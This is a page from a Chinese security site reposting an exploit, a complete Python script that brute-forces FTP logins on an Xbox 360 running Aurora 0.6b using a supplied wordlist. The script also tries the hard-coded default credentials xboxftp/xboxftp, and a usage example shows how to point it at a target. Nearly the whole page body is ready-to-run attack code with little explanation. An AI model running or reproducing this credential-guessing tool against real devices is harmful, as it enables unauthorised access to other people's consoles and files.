首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Xbox 360 Aurora 0.6b Default Credentials / FTP BruteForce Exploit
来源:vfocus.net 作者:Godoy 发布时间:2017-12-25  
# Exploit Title: XBOX 360 Aurora 0.6b Default Credentials / FTP BruteForce
# Date: 20/12/2017
# Exploit Author: Daniel Godoy
# Vendor Homepage: http://phoenix.xboxunity.net/#/news
# Tested on: XBOX 360
# GREETZ: Iker Legorreta, #RemoteExecution Team
  
  
  
#!/usr/bin/env python
# -*- coding:utf-8 -*-
  
__author__ = 'Daniel Godoy'
  
import argparse
import sys
from ftplib import FTP
  
info = '''
XBOX 360 Aurora 0.6b Default Credentials / FTP BruteForce\n
Usage: ./xbox_ftp_brute_forcer.py [options]\n
Options: -t, --target    <hostname/ip>   |   Target\n
         -u, --user      <user>          |   User\n
         -w, --wordlist  <filename>      |   Wordlist\n
         -h, --help      <help>          |   print help\n
  
Example: ./xbox_ftp_brute_forcer.py -t 192.168.1.1 -u root -w /root/Desktop/wordlist.txt
'''
  
  
def help():
    print info
    sys.exit(0)
  
  
def check_default_login(target):
    try:
        ftp = FTP(target)
        ftp.login('xboxftp', 'xboxftp')
        ftp.quit()
        print "\n[+] Default login is open."
        print "\n[+] Username : xboxftp"
        print "\n[+] Password : xboxftp\n"
        ftp.quit()
    except:
        pass
  
  
def ftp_login(target, username, password):
    try:
        ftp = FTP(target)
        ftp.login(username, password)
        ftp.quit()
        print "\n[*] Credentials have found."
        print "\n[*] Username : {}".format(username)
        print "\n[*] Password : {}".format(password)
        return True
    except:
        return False
  
  
def brute_force(target, username, wordlist):
    try:
        wordlist = open(wordlist, "r")
        words = wordlist.readlines()
        for word in words:
            word = word.strip()
            if ftp_login(target, username, word):
                break
    except:
        print "\n[-] There is no such wordlist file. \n"
        sys.exit(0)
  
  
  
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target")
parser.add_argument("-u", "--username")
parser.add_argument("-w", "--wordlist")
  
args = parser.parse_args()
  
if not args.target or not args.username or not args.wordlist:
    help()
    sys.exit(0)
  
target = args.target
username = args.username
wordlist = args.wordlist
  
brute_force(target, username, wordlist)
check_default_login(target)
print "\n[-] Brute force finished. \n"

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Netcore / Netis Routers - UDP
·Trend Micro Smart Protection S
·Fortinet FortiGate 4.x < 5.0.7
·Oracle MySQL UDF Payload Execu
·Technicolor DPC3928SL - SNMP A
·GetGo Download Manager 5.3.0.2
·Cisco IOS 12.2 < 12.4 / 15.0 <
·COMTREND ADSL Router CT-5367 -
·Ruby < 2.2.8 / < 2.3.5 / < 2.4
·Sendroid < 6.5.0 - SQL Injecti
·Linux Kernel >= 4.9 eBPF memor
·Telesquare SKT LTE Router SDT-
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved